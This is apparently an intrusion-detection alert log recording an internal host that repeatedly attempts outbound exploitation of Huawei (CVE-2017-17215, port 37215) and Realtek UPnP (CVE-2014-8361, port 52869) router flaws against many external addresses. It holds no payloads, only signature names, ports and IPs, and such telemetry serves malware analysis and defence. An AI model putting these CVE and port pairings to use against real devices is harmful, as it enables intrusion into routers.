Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.44.183

Timestamp:	192.168.2.23156.238.44.18340602372152835222 05/27/22-01:59:21.924982
SID:	2835222
Source Port:	40602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.73.67

Timestamp:	192.168.2.23156.241.73.6741324372152835222 05/27/22-02:01:26.646996
SID:	2835222
Source Port:	41324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.17.129

Timestamp:	192.168.2.23156.247.17.12945064372152835222 05/27/22-02:02:26.831090
SID:	2835222
Source Port:	45064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.32.129

Timestamp:	192.168.2.23156.238.32.12940776372152835222 05/27/22-02:01:26.337550
SID:	2835222
Source Port:	40776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.23.19

Timestamp:	192.168.2.23156.247.23.1940560372152835222 05/27/22-02:02:29.631312
SID:	2835222
Source Port:	40560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.94.204

Timestamp:	192.168.2.23156.241.94.20449800372152835222 05/27/22-02:01:10.590932
SID:	2835222
Source Port:	49800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.68.189

Timestamp:	192.168.2.23156.241.68.18940686528692027339 05/27/22-02:00:54.497921
SID:	2027339
Source Port:	40686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.225.139.83

Timestamp:	192.168.2.23156.225.139.8359006528692027339 05/27/22-01:59:33.005431
SID:	2027339
Source Port:	59006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.86.60

Timestamp:	192.168.2.23156.226.86.6052034372152835222 05/27/22-02:00:04.130060
SID:	2835222
Source Port:	52034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.21.39

Timestamp:	192.168.2.23156.230.21.3951456372152835222 05/27/22-02:01:32.609232
SID:	2835222
Source Port:	51456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.232.91.140

Timestamp:	192.168.2.23156.232.91.14047196372152835222 05/27/22-02:01:49.092359
SID:	2835222
Source Port:	47196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.84.164

Timestamp:	192.168.2.23156.250.84.16442614372152835222 05/27/22-01:59:31.466307
SID:	2835222
Source Port:	42614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.63.251

Timestamp:	192.168.2.23156.238.63.25155806372152835222 05/27/22-02:02:16.754251
SID:	2835222
Source Port:	55806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.214.96.76

Timestamp:	192.168.2.23197.214.96.7640638528692027339 05/27/22-01:59:53.606556
SID:	2027339
Source Port:	40638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.55.116

Timestamp:	192.168.2.23156.254.55.11643886372152835222 05/27/22-01:59:09.829867
SID:	2835222
Source Port:	43886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.95.97

Timestamp:	192.168.2.23156.244.95.9744928372152835222 05/27/22-01:59:11.369422
SID:	2835222
Source Port:	44928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.21.42

Timestamp:	192.168.2.23156.247.21.4256234372152835222 05/27/22-02:01:14.340412
SID:	2835222
Source Port:	56234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.49.30

Timestamp:	192.168.2.23156.245.49.3060860372152835222 05/27/22-02:01:35.971454
SID:	2835222
Source Port:	60860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.11.236

Timestamp:	192.168.2.23156.250.11.23657594528692027339 05/27/22-01:59:17.459127
SID:	2027339
Source Port:	57594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.103.248

Timestamp:	192.168.2.23156.241.103.24836054372152835222 05/27/22-02:00:23.723270
SID:	2835222
Source Port:	36054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.246.131.245

Timestamp:	192.168.2.23197.246.131.24551946372152835222 05/27/22-02:01:56.320167
SID:	2835222
Source Port:	51946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.13.173

Timestamp:	192.168.2.23156.226.13.17332948372152835222 05/27/22-02:01:58.818532
SID:	2835222
Source Port:	32948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.225.153.134

Timestamp:	192.168.2.23156.225.153.13438534528692027339 05/27/22-02:01:55.645339
SID:	2027339
Source Port:	38534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.17.7

Timestamp:	192.168.2.23156.230.17.753602372152835222 05/27/22-02:00:57.236010
SID:	2835222
Source Port:	53602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.90.175

Timestamp:	192.168.2.23156.244.90.17548954528692027339 05/27/22-02:01:12.861867
SID:	2027339
Source Port:	48954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.225.153.115

Timestamp:	192.168.2.23156.225.153.11546282372152835222 05/27/22-02:00:30.753840
SID:	2835222
Source Port:	46282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.83.202

Timestamp:	192.168.2.23156.244.83.20259496528692027339 05/27/22-01:59:50.344265
SID:	2027339
Source Port:	59496
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.48.219

Timestamp:	192.168.2.23156.226.48.21956620528692027339 05/27/22-02:01:12.803099
SID:	2027339
Source Port:	56620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.64.92

Timestamp:	192.168.2.23156.241.64.9257610372152835222 05/27/22-01:59:29.238933
SID:	2835222
Source Port:	57610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.119.157

Timestamp:	192.168.2.23156.241.119.15760482528692027339 05/27/22-01:59:39.082470
SID:	2027339
Source Port:	60482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.100.98

Timestamp:	192.168.2.23156.244.100.9832892528692027339 05/27/22-02:01:55.160357
SID:	2027339
Source Port:	32892
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.74.228

Timestamp:	192.168.2.23156.244.74.22833762528692027339 05/27/22-02:02:01.306520
SID:	2027339
Source Port:	33762
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.227.241.10

Timestamp:	192.168.2.23156.227.241.1052928528692027339 05/27/22-02:01:50.961196
SID:	2027339
Source Port:	52928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.79.24

Timestamp:	192.168.2.23156.254.79.2459036528692027339 05/27/22-02:01:03.615589
SID:	2027339
Source Port:	59036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.50.72

Timestamp:	192.168.2.23156.226.50.7253032528692027339 05/27/22-02:01:17.282629
SID:	2027339
Source Port:	53032
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.97.161

Timestamp:	192.168.2.23156.254.97.16138488372152835222 05/27/22-02:00:16.843487
SID:	2835222
Source Port:	38488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.116.88

Timestamp:	192.168.2.23156.244.116.8833914372152835222 05/27/22-01:59:52.728837
SID:	2835222
Source Port:	33914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.115.96

Timestamp:	192.168.2.23156.250.115.9644040528692027339 05/27/22-02:01:55.737151
SID:	2027339
Source Port:	44040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.96.152

Timestamp:	192.168.2.23156.235.96.15244412372152835222 05/27/22-02:01:39.860809
SID:	2835222
Source Port:	44412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.75.43

Timestamp:	192.168.2.23156.226.75.4348582528692027339 05/27/22-02:00:26.512225
SID:	2027339
Source Port:	48582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.81.19

Timestamp:	192.168.2.23156.250.81.1945382372152835222 05/27/22-02:02:04.097360
SID:	2835222
Source Port:	45382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.21.152

Timestamp:	192.168.2.23156.224.21.15241288372152835222 05/27/22-02:01:54.117029
SID:	2835222
Source Port:	41288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.114.185

Timestamp:	192.168.2.23156.250.114.18555492372152835222 05/27/22-02:00:34.147798
SID:	2835222
Source Port:	55492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.10.77

Timestamp:	192.168.2.23156.241.10.7736376372152835222 05/27/22-02:01:58.507926
SID:	2835222
Source Port:	36376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.240.107.128

Timestamp:	192.168.2.23156.240.107.12838328372152835222 05/27/22-02:01:36.170451
SID:	2835222
Source Port:	38328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.115.235

Timestamp:	192.168.2.23156.250.115.23536014528692027339 05/27/22-02:00:28.975937
SID:	2027339
Source Port:	36014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.110.153

Timestamp:	192.168.2.23156.241.110.15356256372152835222 05/27/22-02:01:58.258420
SID:	2835222
Source Port:	56256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.9.85

Timestamp:	192.168.2.23156.224.9.8542998372152835222 05/27/22-02:00:44.448215
SID:	2835222
Source Port:	42998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.83.83

Timestamp:	192.168.2.23156.244.83.8350380528692027339 05/27/22-02:01:58.512058
SID:	2027339
Source Port:	50380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.107.166

Timestamp:	192.168.2.23156.244.107.16658722528692027339 05/27/22-02:02:21.932784
SID:	2027339
Source Port:	58722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.81.244

Timestamp:	192.168.2.23156.244.81.24446998528692027339 05/27/22-01:59:46.159096
SID:	2027339
Source Port:	46998
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.19.205

Timestamp:	192.168.2.23156.230.19.20548094372152835222 05/27/22-02:02:34.126639
SID:	2835222
Source Port:	48094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.119.150

Timestamp:	192.168.2.23156.244.119.15059104528692027339 05/27/22-02:01:32.144220
SID:	2027339
Source Port:	59104
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.24.7

Timestamp:	192.168.2.23156.247.24.749256372152835222 05/27/22-01:59:20.596556
SID:	2835222
Source Port:	49256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.8.62

Timestamp:	192.168.2.23156.250.8.6239124528692027339 05/27/22-02:00:21.894988
SID:	2027339
Source Port:	39124
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.232.95.161

Timestamp:	192.168.2.23156.232.95.16152518372152835222 05/27/22-02:01:43.911283
SID:	2835222
Source Port:	52518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.94.36

Timestamp:	192.168.2.23156.244.94.3637970372152835222 05/27/22-01:59:35.272349
SID:	2835222
Source Port:	37970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.225.137.15

Timestamp:	192.168.2.23156.225.137.1545166528692027339 05/27/22-02:01:09.406968
SID:	2027339
Source Port:	45166
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.59.91

Timestamp:	192.168.2.23156.254.59.9150450528692027339 05/27/22-02:00:21.503092
SID:	2027339
Source Port:	50450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.241.88.198

Timestamp:	192.168.2.23156.241.88.19835890528692027339 05/27/22-02:00:59.100766
SID:	2027339
Source Port:	35890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.235.105.123

Timestamp:	192.168.2.23156.235.105.12336360528692027339 05/27/22-02:00:46.055414
SID:	2027339
Source Port:	36360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.232.95.51

Timestamp:	192.168.2.23156.232.95.5137688528692027339 05/27/22-02:00:40.261876
SID:	2027339
Source Port:	37688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.112.26

Timestamp:	192.168.2.23156.241.112.2640084372152835222 05/27/22-01:59:37.267591
SID:	2835222
Source Port:	40084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.98.140

Timestamp:	192.168.2.23156.226.98.14046226528692027339 05/27/22-02:00:56.365384
SID:	2027339
Source Port:	46226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.94.48

Timestamp:	192.168.2.23156.241.94.4832996372152835222 05/27/22-02:02:10.711942
SID:	2835222
Source Port:	32996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.90.76

Timestamp:	192.168.2.23156.226.90.7648608372152835222 05/27/22-02:00:20.202547
SID:	2835222
Source Port:	48608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.72.72

Timestamp:	192.168.2.23156.244.72.7235322528692027339 05/27/22-02:02:01.523460
SID:	2027339
Source Port:	35322
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.94.26

Timestamp:	192.168.2.23156.250.94.2639952528692027339 05/27/22-02:00:43.534578
SID:	2027339
Source Port:	39952
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.56.234

Timestamp:	192.168.2.23156.245.56.23437958372152835222 05/27/22-02:02:18.656583
SID:	2835222
Source Port:	37958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.79.175

Timestamp:	192.168.2.23156.244.79.17551328372152835222 05/27/22-01:59:38.565688
SID:	2835222
Source Port:	51328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.84.108

Timestamp:	192.168.2.23156.254.84.10859450372152835222 05/27/22-01:59:46.564418
SID:	2835222
Source Port:	59450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.44.190

Timestamp:	192.168.2.23156.238.44.19044604372152835222 05/27/22-02:01:54.959373
SID:	2835222
Source Port:	44604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.55.168

Timestamp:	192.168.2.23156.254.55.16844094372152835222 05/27/22-01:59:24.100328
SID:	2835222
Source Port:	44094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.111.170

Timestamp:	192.168.2.23156.226.111.17045034528692027339 05/27/22-02:00:21.892038
SID:	2027339
Source Port:	45034
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.24.127

Timestamp:	192.168.2.23156.226.24.12737400372152835222 05/27/22-02:00:47.670144
SID:	2835222
Source Port:	37400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.226.69.154

Timestamp:	192.168.2.23156.226.69.15439230528692027339 05/27/22-02:01:17.460017
SID:	2027339
Source Port:	39230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.247.17.132

Timestamp:	192.168.2.23156.247.17.13241798528692027339 05/27/22-02:01:57.974569
SID:	2027339
Source Port:	41798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.122.59

Timestamp:	192.168.2.23156.250.122.5936524372152835222 05/27/22-01:59:26.957137
SID:	2835222
Source Port:	36524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.9.162

Timestamp:	192.168.2.23156.226.9.16241224372152835222 05/27/22-02:00:11.258185
SID:	2835222
Source Port:	41224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.65.168

Timestamp:	192.168.2.23156.241.65.16838068372152835222 05/27/22-02:01:37.321901
SID:	2835222
Source Port:	38068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.250.86.126

Timestamp:	192.168.2.23156.250.86.12647748528692027339 05/27/22-02:00:38.554220
SID:	2027339
Source Port:	47748
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.51.115

Timestamp:	192.168.2.23156.226.51.11539150372152835222 05/27/22-02:01:16.789476
SID:	2835222
Source Port:	39150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.92.232

Timestamp:	192.168.2.23156.254.92.23237656372152835222 05/27/22-02:01:29.348977
SID:	2835222
Source Port:	37656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.54.157

Timestamp:	192.168.2.23156.226.54.15733994372152835222 05/27/22-02:02:15.142084
SID:	2835222
Source Port:	33994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.82.220

Timestamp:	192.168.2.23156.254.82.22034904528692027339 05/27/22-02:02:21.966924
SID:	2027339
Source Port:	34904
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.244.75.0

Timestamp:	192.168.2.23156.244.75.051058528692027339 05/27/22-01:59:20.270104
SID:	2027339
Source Port:	51058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.112.51

Timestamp:	192.168.2.23156.244.112.5133208372152835222 05/27/22-02:00:07.655644
SID:	2835222
Source Port:	33208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

